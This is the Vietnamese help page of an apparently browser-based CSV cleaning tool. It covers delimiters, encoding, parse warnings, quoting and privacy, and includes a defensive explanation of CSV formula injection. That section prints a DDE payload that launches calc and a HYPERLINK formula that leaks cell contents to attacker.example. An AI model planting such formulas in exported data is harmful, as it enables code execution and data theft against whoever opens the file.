Tiếng Việt

Công cụ làm sạch CSV

Sắp xếp lại dấu phân cách, hàng tiêu đề, dữ liệu trùng lặp và mã hóa ký tự trong tệp xuất bảng tính.

Tại sao xuất khẩu đến nơi bị hỏng

Tệp CSV không thực sự là một định dạng, nó là một nhóm các quy ước. Thông số kỹ thuật mà hầu hết các công cụ đều hướng tới, RFC 4180, được viết bằng 2005 để mô tả những gì phần mềm đã thực hiện thay vì chỉ bảo phần mềm phải làm gì. Kết quả là hai chương trình đều có thể yêu cầu hỗ trợ CSV nhưng vẫn không đồng ý về dấu phân cách, kết thúc dòng, kiểu trích dẫn và mã hóa ký tự.

Điều ngạc nhiên phổ biến nhất là dấu phân cách. Phần mềm được bán ở các quốc gia sử dụng dấu phẩy làm dấu phân cách thập phân — hầu hết lục địa Châu Âu — thường xuất các tệp được phân tách bằng dấu chấm phẩy vì dấu phẩy đã bận. Những tệp đó vẫn kết thúc bằng .csv. Mở một cái trong công cụ giả sử dấu phẩy và mỗi hàng sẽ thu gọn thành một cột duy nhất.

Điều ngạc nhiên phổ biến thứ hai là mã hóa. Tệp được lưu dưới dạng UTF-8 thường bắt đầu bằng dấu ba byte vô hình được gọi là dấu thứ tự byte. Excel trên Windows sử dụng nó để nhận dạng UTF-8. Nhiều công cụ Unix không mong đợi điều đó, do đó, dấu này được dán vào tên tiêu đề đầu tiên và một cột có tên "id" âm thầm trở thành một cột có tên "id" mà không tra cứu nào khớp được.

Tải và kiểm tra hình dạng

Chọn tệp của bạn. Quá trình phân tích cú pháp diễn ra trong một luồng xử lý nền, do đó, ngay cả khi xuất lớn cũng sẽ không đóng băng trang khi nó được đọc.

Để dấu phân cách ở chế độ "Tự động phát hiện" trong lần đầu tiên. Tính năng phát hiện hoạt động bằng cách phân tích cú pháp mẫu với từng dấu phân cách ứng viên và chọn mẫu tạo ra kết quả hình chữ nhật nhất quán nhất — đó là lý do tại sao nó không bị đánh lừa bởi dấu phẩy nằm bên trong các trường được trích dẫn của tệp được phân tách bằng dấu chấm phẩy. Nếu bản xem trước vẫn có vẻ sai, hãy ghi đè nó theo cách thủ công.

Kiểm tra số hàng và số cột trong bộ chọn tệp trước khi thực hiện bất kỳ điều gì khác. Nếu số cột là 1 thì dấu phân cách sai. Nếu số lượng hàng lớn hơn nhiều so với bạn mong đợi thì tệp có thể chứa các dòng mới được trích dẫn mà một công cụ khác đã đọc sai.

  1. Chọn tệp .csv, .tsv, .txt hoặc .json.
  2. Xác nhận dấu phân cách được phát hiện hoặc chọn một dấu phân cách theo cách thủ công.
  3. Đọc tóm tắt hàng × cột và mọi cảnh báo phân tích cú pháp.
  4. Quét bảng xem trước để tìm các cột có vẻ bị dịch chuyển.

Hiểu các cảnh báo phân tích cú pháp

Cảnh báo nêu tên số hàng cụ thể, đếm cách bạn đếm trong trình soạn thảo văn bản, để bạn có thể trực tiếp xem xét vấn đề.

Cảnh báo "hàng rách rưới" có nghĩa là hàng có số ô khác với tiêu đề. Công cụ này không bao giờ loại bỏ những ô đó. Các hàng ngắn được đệm bằng các khoảng trống và các hàng dài giữ lại các giá trị bổ sung của chúng, bởi vì việc âm thầm xóa dữ liệu của ai đó để làm cho lưới trông gọn gàng hơn là điều tồi tệ nhất mà một công cụ dọn dẹp có thể làm. Sửa hàng nguồn nếu có lỗi thừa dấu phẩy.

Cảnh báo "trích dẫn không được đóng" có nghĩa là trích dẫn kép đã được mở và không bao giờ đóng, vì vậy mọi thứ sau khi trích dẫn được đọc dưới dạng một trường khổng lồ. Đây hầu như luôn là lỗi thực sự trong tệp nguồn và đáng để sửa ở thượng nguồn hơn là hạ nguồn.

Làm sạch rồi xuất khẩu

Các nút dọn dẹp áp dụng cho toàn bộ bảng và mỗi nút có thể được hoàn tác. Việc xóa các hàng trùng lặp sẽ giữ lại lần xuất hiện đầu tiên, do đó hàng ban đầu vẫn tồn tại và thứ tự của dữ liệu còn lại không thay đổi.

Điều khiển cột cho phép bạn đổi tên tiêu đề, chọn cột cần xuất và sắp xếp theo bất kỳ cột nào. Tính năng sắp xếp sẽ phát hiện xem cột có phải là số hay không: cột số sắp xếp 9 trước 10, trong khi cột văn bản sắp xếp "10" trước "9", đây thường là điều bạn muốn trong mỗi trường hợp.

Trước khi tải xuống, hãy xem các tùy chọn xuất. Tùy chọn an toàn khi tiêm công thức được bật theo mặc định và được giải thích trong hướng dẫn riêng bên dưới - đây là cài đặt duy nhất ở đây có hậu quả bảo mật thực sự.

Vấn đề trong một câu

Tệp CSV không chứa mã nhưng ứng dụng bảng tính sẽ vui vẻ coi một số văn bản của nó là mã ngay khi tệp được mở.

Excel, Google Trang tính và LibreOffice Calc đều diễn giải một ô có ký tự đầu tiên là =, +, - hoặc @ là phần đầu của công thức. Hành vi đó là có chủ ý và hữu ích khi bạn tự gõ nó. Nó trở thành một lỗ hổng khi nội dung ô đến từ nơi nào đó mà bạn không kiểm soát.

Cách một cuộc tấn công thực sự hoạt động

Hãy tưởng tượng một biểu mẫu web thu thập tên và quản trị viên định kỳ xuất các bài gửi sang CSV rồi mở chúng trong Excel. Kẻ tấn công gửi một tên không phải là tên mà là một công thức.

Tải trọng cổ điển trông giống như =cmd|' /C calc'!A0. Khi bản xuất được mở, Excel sẽ phân tích nó dưới dạng hướng dẫn trao đổi dữ liệu động chứ không phải dưới dạng văn bản. Các cấu hình cũ hơn và chưa được vá sẽ cố gắng khởi chạy một chương trình bên ngoài. Các phiên bản hiện đại trước tiên hiển thị lời nhắc cảnh báo — nhưng lời nhắc là thứ duy nhất đứng giữa tải trọng và việc thực thi và người dùng nhấp qua lời nhắc.

Lọc dữ liệu là biến thể yên tĩnh hơn và hoàn toàn không cần DDE. =HYPERLINK("https://attacker.example/?d="&A1,"Click để biết chi tiết") tạo liên kết chứa nội dung của ô lân cận. Một quản trị viên tò mò nhấp vào nó và một hàng của bảng tính rời khỏi tòa nhà ở URL. IMPORTXML trong Google Trang tính có thể tìm nạp điều khiển từ xa URL mà không cần nhấp chuột.

Điểm quan trọng là kẻ tấn công không bao giờ cần quyền truy cập vào bảng tính, công cụ xuất hoặc máy của quản trị viên. Họ chỉ cần một trường văn bản để cuối cùng đạt đến mức xuất CSV. Đây là lý do tại sao lỗ hổng này thường được ghi lại đối với ứng dụng tạo ra tệp chứ không phải bảng tính đã mở tệp đó.

Công cụ này làm gì về nó

Khi "Công thức tiêm-an toàn" được bật — và được bật theo mặc định — mọi ô có ký tự đầu tiên là =, +, -, @, một tab hoặc dấu xuống dòng sẽ có tiền tố bằng một dấu nháy đơn trước khi được viết.

Dấu nháy đơn là điểm đánh dấu bảng tính thông thường có nghĩa là "coi phần còn lại của ô này dưới dạng văn bản bằng chữ". Excel không hiển thị nó trong ô; bạn chỉ nhìn thấy nó trong thanh công thức. Tải trọng vẫn hiển thị và vẫn có thể phục hồi hoàn toàn, nhưng nó bị trơ.

Trả về tab và đầu dòng được bao gồm trong danh sách đó vì chúng là khoảng trắng mà một số bộ lọc đơn giản cắt bớt trước khi kiểm tra ký tự đầu tiên, cho phép tải trọng vượt qua kiểm tra chỉ xem xét chỉ số 0 của chuỗi được cắt bớt. Kiểm tra ký tự đầu tiên thô sẽ thu hẹp khoảng cách đó.

  1. Đánh dấu vào ô "Công thức an toàn khi tiêm" trong bảng Xuất.
  2. Tải xuống CSV.
  3. Mở nó trong Excel hoặc Trang tính: các ô giống công thức hiện hiển thị dưới dạng văn bản thuần túy.

Bạn phải trả bao nhiêu tiền cho tùy chọn này - hãy đọc phần này trước khi tắt nó

Việc giảm thiểu sẽ thay đổi dữ liệu của bạn và không có phiên bản nào không làm như vậy. Nếu một ô thực sự chứa =SUM(A1:A2) vì bạn muốn có một công thức hoạt động ở đầu ra, thì quá trình xuất an toàn sẽ biến ô đó thành văn bản bằng chữ =SUM(A1:A2) và nó sẽ không tính toán. Bảng tính không thể phân biệt công thức dự định của bạn với công thức của kẻ tấn công và chúng tôi cũng vậy.

Đó chính xác là lý do tại sao đây là hành vi chuyển đổi có thể nhìn thấy được thay vì hành vi im lặng. Nếu bạn đang xuất một tệp được cho là chứa các công thức trực tiếp và bạn tin tưởng mọi giá trị trong đó, hãy tắt tùy chọn này một cách có chủ ý và có chủ ý. Nếu dữ liệu chứa bất kỳ thứ gì có nguồn gốc từ người dùng, biểu mẫu, khách hàng, khảo sát hoặc hệ thống bên ngoài, hãy giữ nguyên dữ liệu đó.

Một sàng lọc đáng để biết. Một cách triển khai đơn giản gắn cờ mọi ô bắt đầu bằng dấu trừ, làm sai lệch mọi số âm trong tệp: -42 trở thành '-42 và không còn là số, âm thầm làm hỏng toàn bộ cột dữ liệu tài chính. Công cụ này loại trừ các giá trị phân tích cú pháp dưới dạng số thuần, vì vậy -42, -3.14 và -1e5 chuyển qua mà không bị ảnh hưởng trong khi -1+1+cmd|' /C calc'!A0 thì không, vì nó không phải là số.

Nếu bạn đang xây dựng phần mềm xuất CSV

Thoát khi ghi, không phải khi đọc. Tệp bạn tạo phải an toàn để mở ở bất kỳ đâu, vì bạn không thể kiểm soát ứng dụng nào sẽ mở nó hoặc ứng dụng đó bao nhiêu tuổi.

Đừng dựa vào hộp thoại cảnh báo của bảng tính làm quyền kiểm soát của bạn. Đó là tuyến phòng thủ cuối cùng nhắm vào người dùng đang cố gắng hoàn thành công việc của họ và nó thường bị loại bỏ.

Đừng cố gắng giải quyết vấn đề này bằng cách loại bỏ các ký tự nguy hiểm. Xóa phần đầu = làm hỏng dữ liệu hợp pháp và vẫn bỏ sót các tải trọng bắt đầu bằng khoảng trắng. Tiền tố có dấu nháy đơn sẽ bảo toàn chính xác giá trị ban đầu trong khi loại bỏ khả năng thực thi của nó, đó là lý do tại sao đây là phương pháp được đề xuất.

Quy tắc trích dẫn

Một trường phải được đặt trong dấu ngoặc kép khi nó chứa dấu phân cách, dấu ngoặc kép hoặc dấu ngắt dòng. Bên trong trường được trích dẫn, một trích dẫn kép theo nghĩa đen được viết hai lần: "cô ấy nói ""hi""" là một trường chứa cô ấy nói "xin chào".

Công cụ này báo giá tối thiểu khi xuất: các trường chỉ được gói khi cần. Điều đó có nghĩa là một tệp có mọi trường được trích dẫn trên đầu vào có thể xuất hiện với ít dấu ngoặc kép hơn. Dữ liệu giống hệt nhau — "Ada" và Ada có cùng giá trị - nhưng các byte khác nhau. Nếu bạn cần trích dẫn mọi trường, hãy sử dụng tùy chọn "Trích dẫn mọi trường".

Các trường có dấu cách ở đầu hoặc cuối có ý nghĩa luôn được trích dẫn vì một số trình phân tích cú pháp sẽ loại bỏ phần đệm không được trích dẫn và nếu không sẽ thay đổi giá trị của bạn.

Kết thúc dòng

RFC 4180 chỉ định CRLF giữa các bản ghi và đó là nội dung mà công cụ này ghi theo mặc định vì đây là lựa chọn tương thích rộng rãi nhất trên công cụ Windows và Unix.

Về đầu vào, cả ba quy ước đều được chấp nhận: CRLF, LF và CR đơn độc. Dòng mới bên trong trường được trích dẫn được giữ nguyên như một phần của giá trị và không bắt đầu một hàng mới.

Điều gì xảy ra với dữ liệu của bạn

Tệp của bạn được trình duyệt đọc, phân tích cú pháp trong Web Worker trên thiết bị của bạn, được chuyển đổi trong bộ nhớ và được ghi lại bằng cơ chế tải xuống của chính trình duyệt. Nó không bao giờ được truyền đi.

Không có gì được lưu trữ. Không có tính năng tự động lưu, không có cơ sở dữ liệu cục bộ và không có lịch sử nào tồn tại sau khi tải lại trang. Đóng tab sẽ loại bỏ mọi thứ; "Xóa dữ liệu" thực hiện tương tự ngay lập tức.

Phân tích và quảng cáo bị vô hiệu hóa trong sản phẩm này, trong mọi môi trường. Không có dữ liệu sử dụng nào về tệp của bạn — không phải tên, kích thước, nội dung hoặc tên cột — được thu thập vì không có dữ liệu nào được gửi đi bất cứ đâu.

Câu hỏi thường gặp

Bảng tính của tôi có được tải lên ở bất cứ đâu không?
Không. Tệp được trình duyệt của bạn đọc, được phân tích cú pháp trong Web Worker trên thiết bị của bạn và được trình duyệt của bạn ghi lại. Không có thành phần máy chủ nào trong công cụ này và không có điểm cuối để dữ liệu được gửi tới. Bạn có thể xác nhận điều này bằng cách mở bảng điều khiển mạng của trình duyệt và xem nó luôn trống trong khi bạn làm việc.
Tại sao tệp của tôi mở dưới dạng một cột?
Dấu phân cách là sai. Đặt thủ công — dấu chấm phẩy là câu trả lời thông thường cho các bản xuất từ ​​phần mềm Châu Âu và tab dành cho các tệp thực sự TSV có phần mở rộng .csv.
Tùy chọn UTF-8 BOM dùng để làm gì?
Excel trên Windows sử dụng dấu thứ tự byte để phát hiện tệp là UTF-8. Nếu không có nó, các ký tự có dấu và chữ viết không phải tiếng Latinh có thể xuất hiện dưới dạng mojibake khi tệp được nhấp đúp. Hãy bật nó lên nếu tệp được dành cho Excel; hãy bỏ nó đi nếu tệp cung cấp tập lệnh hoặc nhập cơ sở dữ liệu, vì một số trình phân tích cú pháp nghiêm ngặt coi dấu này là dữ liệu.
Việc loại bỏ các bản sao sẽ giữ lại bản sao đầu tiên hay cuối cùng?
Đầu tiên. Hàng ban đầu vẫn giữ nguyên và các bản sao sau đó sẽ bị xóa, do đó thứ tự của dữ liệu bạn giữ không thay đổi.
Tôi có thể chuyển đổi giữa CSV và JSON không?
Có, theo cả hai hướng. Tải tệp .json chứa một mảng đối tượng và nó trở thành một bảng; xuất bất kỳ bảng nào dưới dạng JSON. Tên cột trùng lặp được cung cấp hậu tố số thay vì ghi đè lên nhau và các giá trị lồng nhau được tuần tự hóa dưới dạng văn bản JSON bên trong ô.
Nó có thể xử lý một tệp lớn đến mức nào?
Giới hạn được đặt ở 50 MB. Hạn chế thực sự là bộ nhớ thiết bị của bạn vì toàn bộ tệp được giữ trong tab. Một chiếc điện thoại sẽ gặp khó khăn trước khi một chiếc máy tính xách tay làm được điều đó. Quá trình phân tích cú pháp chạy trong một trình chạy nên giao diện vẫn phản hồi nhanh, nhưng một tệp rất lớn vẫn sẽ mất thời gian.

Công cụ này sẽ không làm gì